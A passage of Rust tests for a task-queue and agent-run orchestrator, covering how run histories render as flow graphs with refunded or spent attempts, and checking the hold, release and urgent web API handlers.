17763        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17764        assert_eq!(f.nodes[1].key, "start");
17765        assert_eq!(
17766            f.edges[0],
17767            FlowEdge {
17768                from: "chat".to_owned(),
17769                to: "start".to_owned(),
17770                label: "queued from chat".to_owned(),
17771                attempt: AttemptCost::None,
17772            }
17773        );
17774    }
17775
17776    #[test]
17777    fn flow_has_no_chat_box_for_other_sources() {
17778        for source in [
17779            Source::Human,
17780            Source::Issue {
17781                number: 3,
17782                repo: "o/r".to_owned(),
17783            },
17784            Source::Agent {
17785                run: "20260904-014455-ab12".to_owned(),
17786                node: "implement".to_owned(),
17787            },
17788        ] {
17789            let mut t = flow_task(&[]);
17790            t.source = source;
17791            let f = flow_for(&t, &[]);
17792            assert_eq!(f.nodes[0].key, "start");
17793            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17794            assert!(f.edges.iter().all(|e| e.from != "chat"));
17795        }
17796    }
17797
17798    const FA: &str = "20260902-140501-aaaa";
17799    const FB: &str = "20260902-140502-bbbb";
17800
17801    #[test]
17802    fn flow_follows_blocked_retry_merged_to_done() {
17803        let mut t = flow_task(&[FA, FB]);
17804        t.status = TaskStatus::Done;
17805        let f = flow_for(
17806            &t,
17807            &[
17808                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17809                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17810            ],
17811        );
17812        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17813        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17814        assert_eq!(f.edges.len(), 3);
17815        assert_eq!(f.edges[0].label, "claimed");
17816        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17817        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17818        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17819        assert_eq!(
17820            f.nodes[2].href.as_deref(),
17821            Some("#/runs/20260902-140502-bbbb")
17822        );
17823        assert!(f.nodes[2].decided);
17824    }
17825
17826    #[test]
17827    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17828        let quota = || {
17829            flow_run(RunStatus::Stalled, |s| {
17830                s.quota.push(crate::run::QuotaLoss {
17831                    cause: crate::agent::QuotaCause::UsageLimit,
17832                    agent: String::new(),
17833                    seat: "judge-1".to_owned(),
17834                    node: "judge".to_owned(),
17835                    at: Timestamp::now(),
17836                    reset: None,
17837                })
17838            })
17839        };
17840        let mut t = flow_task(&[FA, FA]);
17841        t.status = TaskStatus::Queued;
17842        let f = flow_for(&t, &[(FA, Some(quota()))]);
17843        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17844        assert_eq!(f.nodes[1].note, Some("interrupted"));
17845        assert_eq!(
17846            f.nodes[1].status, None,
17847            "no outcome copied onto an earlier pass"
17848        );
17849        assert_eq!(
17850            f.edges[1].attempt,
17851            AttemptCost::Unknown,
17852            "a resume does not prove the earlier pass was refunded"
17853        );
17854        assert!(f.edges[1].label.contains("resume the same run"));
17855        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17856        assert_eq!(
17857            f.edges[2].label,
17858            "stalled after a resume, refund unknown \u{2192} queued"
17859        );
17860        assert!(!f.nodes[2].decided, "a stall is not a decision");
17861        assert_eq!(f.nodes[2].note, Some("no verdict"));
17862    }
17863
17864    #[test]
17865    fn flow_single_pass_quota_stall_is_refunded() {
17866        let t = flow_task(&[FA]);
17867        let f = flow_for(
17868            &t,
17869            &[(
17870                FA,
17871                Some(flow_run(RunStatus::Stalled, |s| {
17872                    s.quota.push(crate::run::QuotaLoss {
17873                        cause: crate::agent::QuotaCause::UsageLimit,
17874                        agent: String::new(),
17875                        seat: "judge-1".to_owned(),
17876                        node: "judge".to_owned(),
17877                        at: Timestamp::now(),
17878                        reset: None,
17879                    })
17880                })),
17881            )],
17882        );
17883        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17884    }
17885
17886    #[test]
17887    fn flow_parked_refunds_and_stall_without_quota_spends() {
17888        let mut t = flow_task(&[FA]);
17889        t.status = TaskStatus::Queued;
17890        let f = flow_for(
17891            &t,
17892            &[(
17893                FA,
17894                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17895            )],
17896        );
17897        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17898        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17899        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17900        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17901        assert!(!f.nodes[1].decided);
17902    }
17903
17904    #[test]
17905    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17906        let t = flow_task(&[FA, FB]);
17907        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17908        assert_eq!(f.nodes[1].note, Some("unreadable"));
17909        assert!(!f.nodes[1].readable);
17910        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17911        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17912    }
17913
17914    #[test]
17915    fn flow_names_the_branch_of_a_review_only_run() {
17916        let t = flow_task(&[FA]);
17917        let f = flow_for(
17918            &t,
17919            &[(
17920                FA,
17921                Some(flow_run(RunStatus::Merged, |s| {
17922                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17923                })),
17924            )],
17925        );
17926        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17927        assert_eq!(
17928            f.nodes[1].detail.as_deref(),
17929            Some("review-only run of branch magi/x/A")
17930        );
17931    }
17932
17933    #[test]
17934    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17935        let mut t = flow_task(&[FA]);
17936        t.status = TaskStatus::Held;
17937        let pr = crate::run::PrRecord {
17938            url: "https://example.test/pr/1".to_owned(),
17939            number: 1,
17940            state: "open".to_owned(),
17941            checks: "green".to_owned(),
17942            round: 0,
17943            rounds: 3,
17944            red_at_merge: Vec::new(),
17945        };
17946        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17947        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17948        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17949        t.status = TaskStatus::Done;
17950        let f = flow_for(&t, &[(FA, Some(blocked))]);
17951        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17952    }
17953
17954    #[test]
17955    fn flow_with_no_runs_goes_from_queued_to_queued() {
17956        let t = flow_task(&[]);
17957        let f = flow_for(&t, &[]);
17958        assert_eq!(f.nodes.len(), 2);
17959        assert_eq!(f.edges.len(), 1);
17960        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17961        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17962    }
17963
17964    /// A run parked mid-flight keeps a non-terminal status; the page must
17965    /// still say why it stopped and that the attempt came back.
17966    #[test]
17967    fn a_parked_non_terminal_run_is_explained_as_parked() {
17968        let mut s = RunState::new(
17969            PathBuf::from("/repo/magi"),
17970            "main".to_owned(),
17971            "0123456789abcdef".to_owned(),
17972            "Do it".to_owned(),
17973            Config::default(),
17974        );
17975        s.status = RunStatus::Implementing;
17976        s.parked = true;
17977        let task = Task::new(
17978            "t".to_owned(),
17979            "Do it".to_owned(),
17980            PathBuf::from("/repo/magi"),
17981            Source::Human,
17982        );
17983        let v = task_run_view(
17984            "20260902-140501-aaaa",
17985            Some(&s),
17986            RunSlot {
17987                n: 1,
17988                resumed: false,
17989                resumed_later: None,
17990                prior: None,
17991                last: true,
17992                ..RunSlot::default()
17993            },
17994            &task,
17995        );
17996        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17997    }
17998
17999    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
18000        let mut s = flow_run(RunStatus::Implementing, edit);
18001        s.parked = false;
18002        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
18003        task_run_view(
18004            "20260902-140501-aaaa",
18005            Some(&s),
18006            RunSlot {
18007                n: 1,
18008                resumed: false,
18009                resumed_later: Some(2),
18010                prior: None,
18011                last: false,
18012                ..RunSlot::default()
18013            },
18014            &task,
18015        )
18016    }
18017
18018    #[test]
18019    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
18020        let v = earlier_pass_view(|_| {});
18021        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
18022        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18023        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
18024        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
18025        assert_eq!(v.exit, RunExit::Interrupted);
18026        assert_eq!(v.attempt, AttemptCost::Unknown);
18027    }
18028
18029    #[test]
18030    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
18031        let v = earlier_pass_view(|s| {
18032            s.quota.push(crate::run::QuotaLoss {
18033                cause: crate::agent::QuotaCause::UsageLimit,
18034                agent: String::new(),
18035                seat: "judge-1".to_owned(),
18036                node: "judge".to_owned(),
18037                at: Timestamp::now(),
18038                reset: None,
18039            });
18040        });
18041        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
18042        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18043        assert_eq!(v.attempt, AttemptCost::Unknown);
18044    }
18045
18046    #[test]
18047    fn the_current_pass_states_its_recorded_cause_and_cost() {
18048        let slot = || RunSlot {
18049            n: 1,
18050            resumed: false,
18051            resumed_later: None,
18052            prior: None,
18053            last: true,
18054            ..RunSlot::default()
18055        };
18056        let task = flow_task(&["20260902-140501-aaaa"]);
18057        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
18058        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
18059        assert_eq!(
18060            (v.exit, v.attempt),
18061            (RunExit::Parked, AttemptCost::Refunded)
18062        );
18063        let spent = flow_run(RunStatus::Blocked, |_| {});
18064        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
18065        assert_eq!(v.attempt, AttemptCost::Spent);
18066        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
18067    }
18068
18069    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
18070        crate::run::RunPass {
18071            index,
18072            started_at: Timestamp::now(),
18073            resumed: index > 0,
18074            ended_at: end.as_ref().map(|_| Timestamp::now()),
18075            end,
18076            task_entry: true,
18077        }
18078    }
18079
18080    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
18081        Some(crate::run::PassEnd::Parked { cause })
18082    }
18083
18084    fn upgrade_cause() -> crate::run::ParkCause {
18085        crate::run::ParkCause::Upgrade {
18086            from: "0.121.0".to_owned(),
18087            to: Some("0.121.1".to_owned()),
18088        }
18089    }
18090
18091    fn settled_pass(
18092        run: &str,
18093        index: usize,
18094        cost: crate::queue::PassCost,
18095    ) -> crate::queue::TaskPass {
18096        crate::queue::TaskPass {
18097            run: run.to_owned(),
18098            pass_index: index,
18099            started_at: None,
18100            cost,
18101            attempts_after: 1,
18102            settled_at: Timestamp::now(),
18103            parked: None,
18104        }
18105    }
18106
18107    const RUN_X: &str = "20261011-223708-4334";
18108
18109    #[test]
18110    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
18111        use crate::queue::PassCost;
18112        let run = flow_run(RunStatus::Implementing, |s| {
18113            s.passes = vec![
18114                recorded_pass(0, parked(upgrade_cause())),
18115                recorded_pass(1, None),
18116            ];
18117        });
18118        let mut task = flow_task(&[RUN_X, RUN_X]);
18119        task.attempts = 1;
18120        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18121        let h = task_history(&task, |_| Some(run.clone()));
18122        assert_eq!(h.len(), 2);
18123        assert_eq!(h[0].kind, "competition");
18124        assert_eq!(h[1].kind, "resume");
18125        assert_eq!(
18126            (h[0].exit, h[0].attempt),
18127            (RunExit::Parked, AttemptCost::Refunded)
18128        );
18129        assert!(
18130            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
18131            "{}",
18132            h[0].outcome
18133        );
18134        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
18135        assert!(
18136            h[0].outcome.contains("pass #2 resumed the same run"),
18137            "{}",
18138            h[0].outcome
18139        );
18140        assert!(
18141            h[0].outcome.contains("pass 1 of 2 over run"),
18142            "{}",
18143            h[0].outcome
18144        );
18145        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18146        assert_eq!(
18147            h[0].exit_label,
18148            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
18149        );
18150        let f = task_flow(&task, &h, 2, None);
18151        // Two passes of one run, one of two attempts consumed.
18152        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
18153        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
18154        assert!(
18155            f.edges[1].label.contains("upgrade 0.121.0"),
18156            "{}",
18157            f.edges[1].label
18158        );
18159        assert!(
18160            f.edges[1].label.contains("resume the same run"),
18161            "{}",
18162            f.edges[1].label
18163        );
18164        assert_eq!(f.nodes[1].note, Some("parked"));
18165    }
18166
18167    #[test]
18168    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
18169        let mut a = flow_run(RunStatus::Implementing, |s| {
18170            s.passes = vec![
18171                recorded_pass(0, parked(upgrade_cause())),
18172                recorded_pass(1, None),
18173            ];
18174        });
18175        let mut b = flow_run(RunStatus::Failed, |s| {
18176            s.passes = vec![recorded_pass(0, None)];
18177        });
18178        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
18179        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
18180        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
18181        let mut task = flow_task(&[]);
18182        task.start("a".into());
18183        task.start("b".into());
18184        task.start("a".into());
18185        assert_eq!(task.runs, ["b", "a"]);
18186        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
18187        let h = task_history(&task, |id| {
18188            Some(if id == "a" { a.clone() } else { b.clone() })
18189        });
18190        assert_eq!(
18191            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
18192            ["a", "b", "a"]
18193        );
18194        assert_eq!(h[0].attempt, AttemptCost::Refunded);
18195        assert!(h[0].outcome.contains("upgrade"));
18196        assert_eq!(h[2].kind, "resume");
18197        assert!(h[2].pass.is_some());
18198        // The old repeated-id format must show the same recorded passes.
18199        task.runs = vec!["a".into(), "b".into(), "a".into()];
18200        let old = task_history(&task, |id| {
18201            Some(if id == "a" { a.clone() } else { b.clone() })
18202        });
18203        assert_eq!(
18204            old.iter()
18205                .map(|v| (&v.id, &v.kind, v.attempt))
18206                .collect::<Vec<_>>(),
18207            h.iter()
18208                .map(|v| (&v.id, &v.kind, v.attempt))
18209                .collect::<Vec<_>>()
18210        );
18211    }
18212
18213    #[test]
18214    fn an_upgrade_whose_target_was_not_known_says_so() {
18215        let run = flow_run(RunStatus::Implementing, |s| {
18216            s.passes = vec![
18217                recorded_pass(
18218                    0,
18219                    parked(crate::run::ParkCause::Upgrade {
18220                        from: "0.121.0".to_owned(),
18221                        to: None,
18222                    }),
18223                ),
18224                recorded_pass(1, None),
18225            ];
18226        });
18227        let task = flow_task(&[RUN_X, RUN_X]);
18228        let h = task_history(&task, |_| Some(run.clone()));
18229        assert!(
18230            h[0].outcome.contains("upgrade from 0.121.0"),
18231            "{}",
18232            h[0].outcome
18233        );
18234        // No settle record: the refund is not claimed.
18235        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18236    }
18237
18238    #[test]
18239    fn each_pass_keeps_its_own_cause_across_several_resumes() {
18240        use crate::queue::PassCost;
18241        use crate::run::ParkCause;
18242        let run = flow_run(RunStatus::Implementing, |s| {
18243            s.passes = vec![
18244                recorded_pass(0, parked(upgrade_cause())),
18245                recorded_pass(
18246                    1,
18247                    parked(ParkCause::Interrupt {
18248                        reason: "task a1b2 asked to run first".to_owned(),
18249                    }),
18250                ),
18251                recorded_pass(2, parked(ParkCause::Operator)),
18252                recorded_pass(3, None),
18253            ];
18254        });
18255        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
18256        task.attempts = 1;
18257        task.passes = (0..3)
18258            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
18259            .collect();
18260        let h = task_history(&task, |_| Some(run.clone()));
18261        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18262        assert!(
18263            h[1].outcome.contains("task a1b2 asked to run first"),
18264            "{}",
18265            h[1].outcome
18266        );
18267        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
18268        assert!(
18269            h[2].outcome.contains("operator asked the loop to park"),
18270            "{}",
18271            h[2].outcome
18272        );
18273        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
18274        let f = task_flow(&task, &h, 2, None);
18275        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
18276    }
18277
18278    #[test]
18279    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
18280        let run = flow_run(RunStatus::Implementing, |s| {
18281            s.passes = vec![
18282                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
18283                recorded_pass(1, None),
18284            ];
18285        });
18286        let task = flow_task(&[RUN_X, RUN_X]);
18287        let h = task_history(&task, |_| Some(run.clone()));
18288        assert_eq!(h[0].exit, RunExit::Interrupted);
18289        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18290        assert!(
18291            h[0].outcome.contains("without recording why"),
18292            "{}",
18293            h[0].outcome
18294        );
18295        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18296        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
18297    }
18298
18299    #[test]
18300    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
18301        use crate::queue::PassCost;
18302        // Three entries, but the run only began keeping passes at the last
18303        // two: the first is legacy and must not be given a cause.
18304        let run = flow_run(RunStatus::Implementing, |s| {
18305            s.passes = vec![
18306                recorded_pass(0, parked(upgrade_cause())),
18307                recorded_pass(1, None),
18308            ];
18309        });
18310        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
18311        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18312        let h = task_history(&task, |_| Some(run.clone()));
18313        assert!(h[0].pass.is_none());
18314        assert_eq!(h[0].exit, RunExit::Interrupted);
18315        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18316        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18317        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18318        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
18319        // A run with no passes at all is entirely unknown.
18320        let legacy = flow_run(RunStatus::Implementing, |_| {});
18321        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
18322        assert!(h.iter().all(|v| v.pass.is_none()));
18323        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18324    }
18325
18326    #[test]
18327    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
18328        use crate::queue::PassCost;
18329        // Pass 1 is a web-button resume: a pass of the run, no entry of the
18330        // task. The two entries are passes 0 and 2.
18331        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
18332        web.task_entry = false;
18333        let run = flow_run(RunStatus::Implementing, |s| {
18334            s.passes = vec![
18335                recorded_pass(0, parked(upgrade_cause())),
18336                web.clone(),
18337                recorded_pass(2, None),
18338            ];
18339        });
18340        let mut task = flow_task(&[RUN_X, RUN_X]);
18341        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18342        let h = task_history(&task, |_| Some(run.clone()));
18343        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18344        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18345
18346        // Legacy first entry, then a web resume that parked for an upgrade,
18347        // then the daemon's pass: the legacy entry must stay unknown.
18348        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18349        web0.task_entry = false;
18350        let run = flow_run(RunStatus::Implementing, |s| {
18351            s.passes = vec![web0.clone(), recorded_pass(1, None)];
18352        });
18353        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18354        assert!(h[0].pass.is_none());
18355        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18356        assert!(h[1].pass.is_some());
18357    }
18358
18359    #[tokio::test]
18360    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18361        let dir = tempfile::tempdir().unwrap();
18362        let queue = Queue::at(dir.path().join("queue"));
18363        let ui = Arc::new(Ui::new(
18364            queue.clone(),
18365            Questions::at(dir.path().join("questions")),
18366            Talks::at(dir.path().join("talks")),
18367            dir.path().join("runs"),
18368            dir.path().to_path_buf(),
18369            dir.path().to_path_buf(),
18370        ));
18371        let mut t = Task::new(
18372            "recover".into(),
18373            "Inspect".into(),
18374            PathBuf::from("."),
18375            Source::Human,
18376        );
18377        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18378        t.start("run-A".into());
18379        t.release_operator("choice", Some("resume-question"));
18380        t.resume_override = Some(crate::queue::OperatorResume {
18381            question_id: "resume-question".into(),
18382            at: jiff::Timestamp::now(),
18383            conductor_rehold: None,
18384            forced: true,
18385            pinned_run: Some("run-A".into()),
18386        });
18387        t.hold_machine(Some("inspection pending".into()));
18388        t.edit("recover".into(), "Reuse approved PR head".into())
18389            .unwrap();
18390        queue.put(&mut t).unwrap();
18391        let mut cli = t.clone();
18392        cli.release_operator("cli", None);
18393        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18394        let reloaded = queue.get(&t.id).unwrap();
18395        assert_eq!(reply.task.status, TaskStatus::Queued);
18396        assert!(reloaded.resume_override.is_none());
18397        assert_eq!(reloaded.answers, t.answers);
18398        let mut web = reloaded.resumption.unwrap();
18399        let cli = cli.resumption.unwrap();
18400        assert_eq!(web.source, "web");
18401        web.source = cli.source.clone();
18402        web.at = cli.at;
18403        assert_eq!(web, cli);
18404    }
18405
18406    #[tokio::test]
18407    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18408        let f = Fixture::start().await;
18409        let queue = f.queue();
18410        let mut task = Task::new(
18411            "spent".to_owned(),
18412            "Try again".to_owned(),
18413            PathBuf::from("/repo/magi"),
18414            Source::Human,
18415        );
18416        task.start("20260902-140502-bbbb".to_owned());
18417        task.fail("agent gave up", 9);
18418        queue.put(&mut task).expect("file the task");
18419
18420        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18421        assert_eq!(held.status, 200);
18422        assert_eq!(held.json()["status_str"], "held");
18423
18424        let released = f
18425            .post(&format!("/api/queue/{}/release", task.id), None)
18426            .await;
18427        assert_eq!(released.status, 200);
18428        assert_eq!(released.json()["status_str"], "queued");
18429        assert_eq!(released.json()["resumption"]["source"], "web");
18430        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18431        let mut cli = task.clone();
18432        cli.release_operator("cli", None);
18433        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18434        let cli = cli.resumption.unwrap();
18435        assert_eq!(web.instruction, cli.instruction);
18436        assert_eq!(web.answers_through, cli.answers_through);
18437        assert_eq!(web.runs_through, cli.runs_through);
18438        assert_eq!(web.cleared_reason, cli.cleared_reason);
18439        assert_eq!(
18440            released.json()["attempts"],
18441            0,
18442            "release is a real second chance, not an instant re-hold"
18443        );
18444        assert_eq!(
18445            queue.get(&task.id).expect("reload").status,
18446            TaskStatus::Queued,
18447            "the change is on disk, not only in the reply"
18448        );
18449        assert!(
18450            !f.home
18451                .path()
18452                .join("queue")
18453                .join(format!("{}.lock", task.id))
18454                .exists(),
18455            "the claim the mutation took is released again"
18456        );
18457    }
18458
18459    #[tokio::test]
18460    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18461        let f = Fixture::start().await;
18462        let queue = f.queue();
18463        let mut task = Task::new(
18464            "busy".to_owned(),
18465            "Running right now".to_owned(),
18466            PathBuf::from("/repo/magi"),
18467            Source::Human,
18468        );
18469        queue.put(&mut task).expect("file the task");
18470        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18471
18472        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18473
18474        assert_eq!(res.status, 409);
18475        assert_eq!(
18476            queue.get(&task.id).expect("reload").status,
18477            TaskStatus::Queued,
18478            "the refused hold changed nothing"
18479        );
18480    }
18481
18482    #[tokio::test]
18483    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18484        let f = Fixture::start().await;
18485        let queue = f.queue();
18486        let mut task = Task::new(
18487            "waiting on the migration".to_owned(),
18488            "Do the thing".to_owned(),
18489            PathBuf::from("/repo/magi"),
18490            Source::Human,
18491        );
18492        queue.put(&mut task).expect("file the task");
18493
18494        let held = f
18495            .post(
18496                &format!("/api/queue/{}/hold", task.id),
18497                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18498            )
18499            .await;
18500        assert_eq!(held.status, 200, "{}", held.body);
18501        assert_eq!(held.json()["status_str"], "held");
18502        assert_eq!(
18503            held.json()["hold_reason"],
18504            "waiting for 20260101-000000-aaaa to land"
18505        );
18506
18507        let listed = f.get("/api/queue").await.json();
18508        assert_eq!(
18509            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18510            "the card reads the reason off the same list route"
18511        );
18512
18513        // A hold with no body at all must keep working - most holds have no
18514        // reason to give.
18515        let mut plain = Task::new(
18516            "no reason given".to_owned(),
18517            "Do another thing".to_owned(),
18518            PathBuf::from("/repo/magi"),
18519            Source::Human,
18520        );
18521        queue.put(&mut plain).expect("file the task");
18522        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18523        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18524        assert!(held_plain.json()["hold_reason"].is_null());
18525
18526        let released = f
18527            .post(&format!("/api/queue/{}/release", task.id), None)
18528            .await;
18529        assert_eq!(released.status, 200);
18530        assert!(
18531            released.json()["hold_reason"].is_null(),
18532            "a release must clear the reason so the next hold does not inherit it"
18533        );
18534    }
18535
18536    #[test]
18537    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18538        for urgent in [true, false] {
18539            let body: UrgentBody =
18540                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18541            assert_eq!(body.urgent, urgent);
18542        }
18543        for input in [
18544            r#"{}"#,
18545            r#"{"urgent":null}"#,
18546            r#"{"urgent":"true"}"#,
18547            r#"{"urgent":1}"#,
18548            r#"{"urgent":true,"extra":false}"#,
18549        ] {
18550            assert!(
18551                serde_json::from_str::<UrgentBody>(input).is_err(),
18552                "{input}"
18553            );
18554        }
18555    }
18556
18557    #[tokio::test]
18558    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18559        let home = TempDir::new().unwrap();
18560        let q = Queue::at(home.path().join("queue"));
18561        let ui = Arc::new(Ui::new(
18562            q.clone(),
18563            Questions::at(home.path().join("questions")),
18564            Talks::at(home.path().join("talks")),
18565            home.path().join("runs"),
18566            home.path().into(),
18567            home.path().into(),
18568        ));
18569        let mut task = Task::new(
18570            "urgent handler".into(),
18571            "keep".into(),
18572            home.path().into(),
18573            Source::Human,
18574        );
18575        for status in [TaskStatus::Queued, TaskStatus::Held] {
18576            task.status = status;
18577            q.put(&mut task).unwrap();
18578            for urgent in [true, true, false, false] {
18579                let saved = queue_urgent(
18580                    State(Arc::clone(&ui)),
18581                    Path(task.short().into()),
18582                    Ok(Json(UrgentBody { urgent })),
18583                )
18584                .await
18585                .unwrap();
18586                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18587                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18588            }
18589        }
18590        task.status = TaskStatus::Queued;
18591        q.put(&mut task).unwrap();
18592        let claim = q.claim(&task.id).unwrap();
18593        let error = queue_urgent(
18594            State(Arc::clone(&ui)),
18595            Path(task.id.clone()),
18596            Ok(Json(UrgentBody { urgent: true })),
18597        )
18598        .await
18599        .unwrap_err();
18600        assert_eq!(error.status, StatusCode::CONFLICT);
18601        assert!(error.message.contains("released"));
18602        drop(claim);
18603        for status in [
18604            TaskStatus::Running,
18605            TaskStatus::Done,
18606            TaskStatus::Failed,
18607            TaskStatus::Blocked,
18608            TaskStatus::Parked,
18609        ] {
18610            task.status = status;
18611            q.put(&mut task).unwrap();
18612            let error = queue_urgent(
18613                State(Arc::clone(&ui)),
18614                Path(task.id.clone()),
18615                Ok(Json(UrgentBody { urgent: false })),
18616            )
18617            .await
18618            .unwrap_err();
18619            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18620            assert!(error.message.contains(status.as_str()));
18621        }
18622    }
18623
18624    #[tokio::test]
18625    async fn urgent_api_updates_preserves_and_validates_tasks() {
18626        let f = Fixture::start().await;
18627        let q = f.queue();
18628        let mut t = Task::new(
18629            "urgent API".into(),
18630            "unchanged".into(),
18631            PathBuf::from("/repo/magi"),
18632            Source::Human,
18633        );
18634        t.attempts = 2;
18635        t.priority = 9;
18636        t.interrupt = true;
18637        t.hold_reason = Some("waiting for approval".into());
18638        for status in [TaskStatus::Queued, TaskStatus::Held] {
18639            t.status = status;
18640            q.put(&mut t).unwrap();
18641            for urgent in [true, true, false, false] {
18642                let response = f
18643                    .post(
18644                        &format!("/api/queue/{}/urgent", t.short()),
